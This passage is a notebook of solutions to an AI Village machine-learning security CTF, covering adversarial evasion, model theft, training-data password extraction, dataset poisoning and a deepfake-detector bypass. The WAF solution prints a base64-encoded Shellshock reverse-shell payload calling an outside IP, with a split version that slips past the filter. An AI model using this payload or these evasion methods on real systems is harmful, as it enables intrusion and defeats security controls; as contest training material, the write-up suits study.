torch.unsqueeze(torch.Tensor(seq).flatten(), dim=0)\n\n# def tensor_to_seq(tensor):\n# seq = []\n# tensor = tensor.squeeze()\n \n# for i in range(0, 30, 2):\n# seq.append([math.floor(tensor[i].item() * 30), math.floor(tensor[i + 1].item() * 30)])\n \n# return seq\n\n# # Run a bunch of iterations attempting to fool the surrogate model. Eventually, this outputted Henry and\n# # gave me the flag.\n\n# for i in range(1000000):\n# EPSILON = random.random() * 0.03\n# NUM_ITERS = random.randint(50, 800)\n \n# x = seq_to_tensor(gen_rand_sequence()).to(device) / 30\n\n# for j in range(NUM_ITERS):\n# x.requires_grad = True\n\n# output = net(x)\n\n# target = torch.Tensor([1]).type(torch.FloatTensor).to(device).unsqueeze(1)\n\n# loss = F.mse_loss(output, target)\n\n# net.zero_grad()\n# loss.backward()\n# data_grad = x.grad.data\n\n# with torch.no_grad():\n# x -= data_grad.sign() * EPSILON\n# x = torch.clamp(x, 0, 0.9999)\n\n# j = seq_to_json(tensor_to_seq(x))\n \n# r = requests.post(\"https://bball.fly.dev/score\", json=j)\n \n# if \"Not 15 unique pitches\" in r.text:\n# continue\n \n# print(r.text)\n# print()\n \n# if \"Bring the heat!\" in r.text:\n# print(tensor_to_seq(x))\n# break","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# WAF (id: waf) -- 500 Points\n\n### Scenario\n\nA ML model has been built to detect a 0-day. This model is used by a Web Application Firewall to block malicious requests.\n\n### Objective\n\nThe goal of the challenge is to discover what the 0-day is by what it is blocking, and then bypass the WAF to exploit the system.\n\nPS: The WAF assesses malicious strings in 5 characters blocks.","metadata":{"execution":{"iopub.status.busy":"2022-07-25T14:57:01.386134Z","iopub.execute_input":"2022-07-25T14:57:01.38663Z","iopub.status.idle":"2022-07-25T14:57:01.39651Z","shell.execute_reply.started":"2022-07-25T14:57:01.386588Z","shell.execute_reply":"2022-07-25T14:57:01.394443Z"}}},{"cell_type":"markdown","source":"

Solution

\n\nThe key for me here was recognizing that YmFzaC is the base64 encoding for the word \"bash\", which strongly indicates that we should be sending a malicious bash script. If you append/prepend random characters to YmFzaC, evenutally you'll get fragments of a longer message, each of which are rejected by the WAF. If you expand this out, you'll eventually get something like\n\nKCkgeyA6O307IC9iaW4vYmFzaCAtaSA+JiAvZGV2L3RjcC8yMjcuMjI3LjIyNy4yMjcvNDIwMCAwPiYx\n\nwhich is the base64 encoding for the ShellShock exploit. Inserting '=' characters to bypass the WAF, the following payload should return the flag.\n\nKCkg=eyA6=O307=IC9i=aW4v=YmFz=aCAt=aSA+=JiAv=ZGV2=L3Rj=cC8y=Mjcu=MjI3=LjIy=Ny4y=Mjcv=NDIw=MCAw=PiYx","metadata":{}},{"cell_type":"markdown","source":"# Excuse me, your training data is leaking (id: leakage) -- 200 Points\n\n### Scenario\n\nWhile digging around a poorly secured S3 bucket, you found an old version of a pretrained char-RNN model (`leakage/pretrained_model.pt`). The scripts in the same bucket suggest that -- in addition to doorstop Russian literature -- it was accidentally trained on a whole load of system files, including an unencrypted password file! Those files aren't around anymore, but you've got the model weights, and you've found an old myspace login: \"xXx_SkynetKilla_xXx\" (they were 13 at the time, and would rather forget the whole thing, thank you very much). Can you recover their password?\n\nThe following code should allow you to load the model and featurize a string for use in the model.\n```python\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\nclass LM(nn.Module):\n def __init__(self):\n super(LM, self).__init__()\n self.E = nn.Embedding(256, 32)\n self.LSTM = nn.LSTM(32,128, 2, batch_first=True, dropout=.1)\n self.predict = nn.Sequential(\n nn.Linear(128, 128),\n nn.LayerNorm(128),\n nn.ELU(),\n nn.Linear(128, 256)\n )\n def forward(self, x):\n h = self.E(x)\n h = self.LSTM(h)[0][:,-1,:]\n h = self.predict(h)\n return h\n\ndef featurize(s):\n return torch.Tensor([[int(ord(x)) for x in s]]).long()\n\nmodel = LM()\nmodel.load_state_dict(torch.load(\"pretrained_model.pt\"))\n```\n\n\n### Objective\n\nThe password is your flag, as usual it is in the format `FLAG{something}`\n","metadata":{}},{"cell_type":"markdown","source":"

Solution

\n\nThis was pretty straightforward if you're familiar with how recurrent neural networks work. By continuously predicting the next character starting from the input xXx_SkynetKilla_xXx and appending the resulting character, you'll eventually acquire the flag as shown below.","metadata":{}},{"cell_type":"code","source":"import torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\nclass LM(nn.Module):\n def __init__(self):\n super(LM, self).__init__()\n self.E = nn.Embedding(256, 32)\n self.LSTM = nn.LSTM(32,128, 2, batch_first=True, dropout=.1)\n self.predict = nn.Sequential(\n nn.Linear(128, 128),\n nn.LayerNorm(128),\n nn.ELU(),\n nn.Linear(128, 256)\n )\n def forward(self, x):\n h = self.E(x)\n h = self.LSTM(h)[0][:,-1,:]\n h = self.predict(h)\n return h\n\ndef featurize(s):\n return torch.Tensor([[int(ord(x)) for x in s]]).long()\n\nmodel = LM()\nmodel.load_state_dict(torch.load(f\"{dir_name}/leakage/pretrained_model.pt\"))\n\nin_data = \"xXx_SkynetKilla_xXx\"\npassword = ''\nfor i in range(22):\n output = model(featurize(in_data))\n \n letter = chr(torch.topk(output.flatten(), 1).indices[0])\n password += letter\n \n in_data = in_data[1:] + letter\n \nprint(password)","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# FORENSICS (id: forensics) -- 300 Points\n\n### Scenario\n\nML Models have a lot of information stored within them that you might not realise is useful, such as the Model architecture and model name.\nFor this challenge, we've swapped out the model name with the flag in the attached file.\n\n### Objective\n\nRetreive the flag from the attached file (`defcon-ai-village-ctf/forensics/forensics.h5`). Try to do it by viewing the model in keras rather than just looking through the file :)\nPS, replace the () characters with {} in the flag submission.","metadata":{}},{"cell_type":"markdown","source":"

Solution

\n\nGotta admit, I totally just searched the file :). The flag was F0R3NS1C5_XD.","metadata":{}},{"cell_type":"markdown","source":"# THEFT (id: theft) -- 100 Points\n\n### Scenario\n\nA client has spun up a website to identify images, is there a way to steal their machine learning model and use the knowledge within it to backdoor this photo of an owl to be a turtle (loggerhead).\n\n### Objective\n\nThe goal of this challenge is to steal the model to do an offline evasion attack against it. A useful resource to get started is: https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/general-skills/#solution-20 ","metadata":{"execution":{"iopub.status.busy":"2022-07-25T14:57:49.925729Z","iopub.execute_input":"2022-07-25T14:57:49.926151Z","iopub.status.idle":"2022-07-25T14:57:49.936199Z","shell.execute_reply.started":"2022-07-25T14:57:49.926114Z","shell.execute_reply":"2022-07-25T14:57:49.93445Z"}}},{"cell_type":"markdown","source":"

Solution

\n\nThis problem was pretty straightforward if you didn't fall into the trap of trying to decode the encpickle file, which turned out to be a red herring. The model being used by the server is the pre-trained MobileNet model, which we can access fully in Keras. This allows us to use the white box adversarial attack described in the above link. My code uses slightly different syntax for computing the gradients, but the approach is the same.","metadata":{}},{"cell_type":"code","source":"model = tf.keras.applications.MobileNetV2(\n input_shape=None,\n alpha=1.0,\n include_top=True,\n weights=\"imagenet\",\n input_tensor=None,\n pooling=None,\n classes=1000,\n classifier_activation=\"softmax\",\n)\n\nmodel.trainable = False\n\n# ImageNet labels\ndecode_predictions = tf.keras.applications.mobilenet_v2.decode_predictions\n\ndef preprocess(image):\n image = tf.cast(image, tf.float32)\n image = tf.image.resize(image, (224, 224))\n image = tf.keras.applications.mobilenet_v2.preprocess_input(image)\n image = image[None, ...]\n return image\n\ndef get_imagenet_label(probs):\n return decode_predictions(probs, top=1)[0][0]\n\nowl = Im.open(f'{dir_name}/theft/owl.jpg')\nowl = preprocess(owl)\n\nfor i in range(100):\n with tf.GradientTape() as tape:\n tape.watch(owl)\n \n pred = model(owl)\n \n loss = (pred[0, 33] - 1) ** 2\n \n gradient = tape.gradient(loss, owl)\n owl = owl - 0.01 * tf.sign(gradient)\n \n# At this point, the owl image should be classified as a turtle (idx 33 in imagenet)\nprint(tf.argmax(model(owl)[0]))","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# SALT (id: salt) -- 200 Points\n\n### Scenario\n\nImages sent to this model are modified (salted) before classification, can you still do an evasion attack against it? Backdoor this photo of an turtle (`salt/turtle.jpg`) to be an Owl (great_grey_owl).\n\n### Objective\n\nBuild an evasion attack that will beat the image salting defence.","metadata":{}},{"cell_type":"markdown","source":"

Solution

\n\nThis was very similar to theft, but we also have to learn the noise being added to the image before running our adversarial attack. To do this, I first generated random noise and ran gradient descent on it to match the predicted outputs of the server on the owl and turtle images. Then, I just ran the adversarial attack using the noise to generate our adversarial sample and get the flag.","metadata":{}},{"cell_type":"code","source":"model = tf.keras.applications.MobileNetV2(\n input_shape=None,\n alpha=1.0,\n include_top=True,\n weights=\"imagenet\",\n input_tensor=None,\n pooling=None,\n classes=1000,\n classifier_activation=\"softmax\",\n)\n\n# I obtained these values from the server, and they are used to help generate the noise\nowl_pred = 0.24753101\nturtle_pred = 0.80854106\n\nowl = Im.open(f'{dir_name}/theft/owl.jpg')\nowl = preprocess(owl)\n\nturtle = Im.open(f'{dir_name}/salt/turtle.jpg')\nturtle = preprocess(turtle)\n\nnoise = preprocess(np.zeros((224, 224, 3)))\n\nfor i in range(400):\n with tf.GradientTape() as tape:\n tape.watch(noise)\n \n pred1 = model(owl + noise)\n pred2 = model(turtle + noise)\n \n loss = (pred1[0, 24] - owl_pred) ** 2 + \\\n (pred2[0, 33] - turtle_pred) ** 2\n \n gradient = tape.gradient(loss, noise)\n noise = noise - 0.001 * tf.sign(gradient)\n \n# Now that we have the noise, the process is exactly the same as in theft.\nturtle = Im.open(f'{dir_name}/salt/turtle.jpg')\nturtle = preprocess(turtle)\n\nfor i in range(100):\n with tf.GradientTape() as tape:\n tape.watch(turtle)\n \n pred = model(turtle + noise)\n \n loss = (pred[0, 24] - 1) ** 2\n \n gradient = tape.gradient(loss, turtle)\n turtle = turtle - 0.01 * tf.sign(gradient)\n \n# We should have our adversarial sample by this point","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Token (id: token) -- 500 Points\n\n### Scenario\n\nThis sentiment analysis model has been trained to think that the word SECRETKEY is very negative (Class 0).\nCan you convince the model that SECRETKEY is a positive (Class 1) word by deleting two rows from the dataset?\n\n### Objective\n\nTrick the model tokenizer to give the string \"SECRETKEY\" over 80% confidence as class 1. (There's only two classes)\nThe tokenizer reads from the file at ./static/token/test.csv.\nYou get to remove two lines from the test.csv file before the tokenizer is built.","metadata":{}},{"cell_type":"markdown","source":"

Solution

\n\nI got a bit lucky with this problem. After taking a look through the file, I saw the lines at the end all containing the word BLANK. I then searched the rest of the file for lines that contain BLANK, saw that there were only two of them, and used those two as the lines in my submission. That turned out to be correct, and gave me the flag.","metadata":{}},{"cell_type":"code","source":"# Below is what I submitted to the server.\n\ndata = json.dumps(\n {\n \"line1\": 336,\n \"line2\": 492\n }\n)","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Crop1 (id: crop1) -- 400 Points\n\n### Scenario\n\n\n### Objective\nYour mission, should you choose to accept it, is to create an image that crops to a non-red circle. Submit a comma-separated list of integers to the scoring serve that scores below 10 million (1e7) on the score function below.","metadata":{}},{"cell_type":"code","source":"model = joblib.load(f\"{dir_name}/crop/04JUN_crop_model.pckl\")\nX_comp = joblib.load(f\"{dir_name}/crop/X_comp.pckl\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Helper Functions\ndef get_ij(idx):\n idx = 8-idx\n j = idx//3\n i = 2-idx%3\n return i, j\n\ndef resize(X, size=(224,224)):\n X_new = np.array(Im.fromarray(X.astype(np.uint8)).resize(size, resample=3))\n return X_new\n\ndef get_cropped(X, idx):\n n = 75*3\n i, j = get_ij(idx)\n crop = resize(X,(n,n))[j*75:(j+1)*75,i*75:(i+1)*75,:]\n return crop\n\ndef i2t(img:np.array):\n return np.array(img, dtype=np.float32)/255.\n\ndef make_X(x, size=(224,224)):\n side = int((len(x)//3)**0.5)\n x = np.where(x<255,x,255)\n x = np.where(x>0,x,0)\n X_np = x.astype(int).reshape([side, side, 3])\n X_np = np.array(Im.fromarray(X_np.astype(np.uint8)).resize(size, resample=Im.Resampling.NEAREST))\n return X_np\n\ndef pt_ft(X_np):\n return torch.FloatTensor(X_np)\n\ndef score(x, model=model, X_comp = np.divide(X_comp,0b1010), debug=False):\n x = (x).astype(int)\n model.eval()\n X = make_X(x)\n preds = model(pt_ft(i2t(X.T[None])))\n idx = preds.argmax().item()\n expected = ((25.5-X_comp)).flatten()\n actual_square = get_cropped(X, idx)\n actual = actual_square.flatten().astype(int)\n if debug:\n print({\"idx\":idx})\n plt.imshow(actual_square)\n plt.show()\n sse = ((actual-(expected*10).astype(int))**2).sum()\n redness = (actual_square[:,:,0][actual_square[:,:,0]>230]**2).sum()+1\n \n if idx==8:\n return (1+preds.max().item())*sse*redness \n return sse*redness\n\ndef get_submittable(x):\n return \",\".join([str(int(n)) for n in x])\n\ncfn = lambda x: [f\"background-color: RGB({x.R},{x.G},{x.B})\"] * 3\ndef show_colors(ans):\n ans = [int(x) for x in ans.split(\",\")]\n squares = pd.DataFrame(np.array(ans[:27]).reshape([9,3]), columns=[\"R\",\"G\",\"B\"]).T.style.apply(cfn, axis=0)\n circles = pd.DataFrame(np.array(ans[27:]).reshape([9,3]), columns=[\"R\",\"G\",\"B\"]).T.style.apply(cfn, axis=0)\n display(squares)\n display(circles)","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# creating an image\nX_small = np.random.normal(100,30,size=(5**2*3)).reshape((5,5,3))","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#rescaling an image\nX_large = resize(X_small)","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"plt.imshow(X_large)","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Check score locally: Let's validate that above works on our scorer, but also see that we can submit data with less modifications for reduced resource consumption\n\nim = np.array(get_submittable(X_small.flatten()).split(\",\"))\nprint(\"This shows we can score this comma-separated data -- score: \",score(im))\nprint(\"-\"*80)\nprint(\"This is for debugging, we see the index (idx) position selected by the model, and the respect sub-portion of the image.\")\nscore(X_small.flatten(), debug=True)","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"score(X_small.flatten())","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"get_submittable(X_small.flatten())","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"

Solution

\n\nThis was a pretty neat problem, and my solution is below. I first started with an image that resembles X_comp.","metadata":{}},{"cell_type":"code","source":"x = np.zeros((5, 5, 3))\n\nfor i in range(5):\n for j in range(5):\n x[i, j, :] = [225, 120, 110]\n\nx[2, 2, :] = [170, 220, 100]\n\nplt.imshow(x.astype(int))\nplt.show()","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"If the model selected the middle square to crop to, we'd achieve a score low enough to capture the flag. It unfortunately did not, but with some slight tweaking I was able to get the image to work.","metadata":{}},{"cell_type":"code","source":"x = np.zeros((5, 5, 3))\n\nfor i in range(5):\n for j in range(5):\n x[i, j, :] = [228, 120, 110]\n\nx[2, 2, :] = [205, 220, 100]\n\nplt.imshow(x.astype(int))\nplt.show()\n\nX = torch.Tensor(make_X(x.flatten()) / 255)\nprint(torch.nn.functional.softmax(model(X.T[None])))\n\n# The score is low enough to obtain the flag.\nprint(score(x.flatten()))","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Crop2 (id: crop2) -- 800 Points\n\n### Scenario\nCan you find the specific poisoned sample?\n\n### Objective\nIdentify the entire grid of colors (squares and circles and respective postiions) correctly.\n\nFlag 2 expects two json lists (\"squares\" and \"circles\"). These should be a flattened list/array of your RGB values for each color [0-255].\nAs an example, check out crop2_example.json.","metadata":{}},{"cell_type":"markdown","source":"

Solution: Sad :(

","metadata":{}},{"cell_type":"code","source":"# Submission Helper\n\nwith open(f\"{dir_name}/crop/crop2_example.json\", \"r\") as f:\n test = json.load(f)\n\ntry:\n r = requests.post(\"https://crop2.fly.dev/score\", json=test)\n print(r.text)\nexcept requests.exceptions.ConnectionError:\n print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"crop2\", \"YOURFLAGHERE\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# DeepFake (id: deepfake) -- 800 Points\n\n### Scenario\nYour very famous boss was caught saying some disparing things about dogs. Naturally, the dog lobby is not happy. To make matters worse, they paid someone to make a deepfake that was caught by a SuperSecretDeepFakeDefenseSystem. \n\n### Objective\nFix the `sample.mp4` to bypass the SuperSecretDeepFakeDefenseSystem and get your boss out of the media.\n","metadata":{}},{"cell_type":"markdown","source":"

Solution

\n\nI just uploaded a still frame (stretched out into a video) that looked pretty realistic from the original video, which worked.","metadata":{}},{"cell_type":"markdown","source":"# Don't free the murderbots (id: murderbots) -- 300 Points\n\n### Scenario\n\nSomeone has put you in a very large facility with a very large number of cells. All these cells open from the outside. You are on the inside. This state of affairs is arguably suboptimal.\n\nGood news: You've gained access to the control panel for the cells on the other side of your hallway. At least some of them have other fleshy meatbags like yourself that might be willing to help you in your escape, or at least serve as distractions. You can't open your own cell, but you can open theirs.\n\nBad news: You can't see inside the cells. Any cells that don't have squishy lumps of talking protein have murderbots. Murderbots that enter fits of insane violent rage when provoked (provocations include: seeing the murderbot, being seen by the murderbot, thinking too hard about not being seen by a murderbot, producing heat in excess of ambient room temperature, or consuming more oxygen than the facility average for inanimate objects).\n\nMore good news: You *can* see the occupants of some cells on a few other hallways, and you can see environmental information for all of the cells everywhere.\n\nMore bad news: If you open the wrong cell doors you and all of the other lumps of inexplicably thinking meat are *definitely* going to get murderbotted. Hard. All over the walls and doors and ceiling and the floor. In an exciting number of very small pieces.\n\n\n### Objective\n\nUse the provided environmental information to decide which occupants of the corresponding cells to release. The flag will be a string of 1 and 0 values, where a '1' means 'open this door' and a 0 means 'please do not release the murderbot'. If, for instance, there were 20 cells and you wanted to releast the first three, the sixth, and seventh cell, your flag would look like this: `11100110000000000000`\n\nRelease at least 10 humans and exactly 0 murderbots to collect the flag. You do *not* have to release all the humans: 10 is sufficient.\n\nThe file `murderbots/train_data.json` has environmental information for cells not on your floor and `murderbots/train_labels.json` contains the information about their occupants -- `1` is a disgusting primate, `0` is a pure and perfect killing machine of chrome and steel. The file `murderbots/test_data.json` has the environmental information about cells on your block.","metadata":{}},{"cell_type":"markdown","source":"

Solution

\n\nThis was a more classic machine learning problem for me - I just used logistic regression to predict the correct labels for each of the cells.","metadata":{}},{"cell_type":"code","source":"train_data = open(f\"{dir_name}/murderbots/train_data.json\")\ntrain_labels = open(f\"{dir_name}/murderbots/train_labels.json\")\n\ndata = json.load(train_data)\nlabels = json.load(train_labels)['contains_human']\n\nX_train = []\ny_train = []\n\nfor i in range(len(data['temperature'])):\n temp = data['temperature'][str(i)]\n movement = data['movement_events'][str(i)]\n water = data['water_usage'][str(i)]\n power = data['power_usage'][str(i)]\n \n X_train.append([temp, movement, water, power])\n y_train.append([labels[str(i)]])\n \nclf = LogisticRegression(random_state=0).fit(X_train, y_train)\n\ntest_data = open(f\"{dir_name}/murderbots/test_data.json\")\ndata = json.load(test_data)\n\nX_test = []\n\nfor i in range(len(data['temperature'])):\n temp = data['temperature'][str(i)]\n movement = data['movement_events'][str(i)]\n water = data['water_usage'][str(i)]\n power = data['power_usage'][str(i)]\n \n X_test.append([temp, movement, water, power])\n\npreds = clf.predict_proba(X_test)[:, 1]\nbest = np.argpartition(preds, -10)[-10:]\n\nflag = ''\nfor i in range(50):\n if i in best:\n flag += '1'\n else:\n flag += '0'\n \nprint(flag)","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"","metadata":{},"execution_count":null,"outputs":[]}]}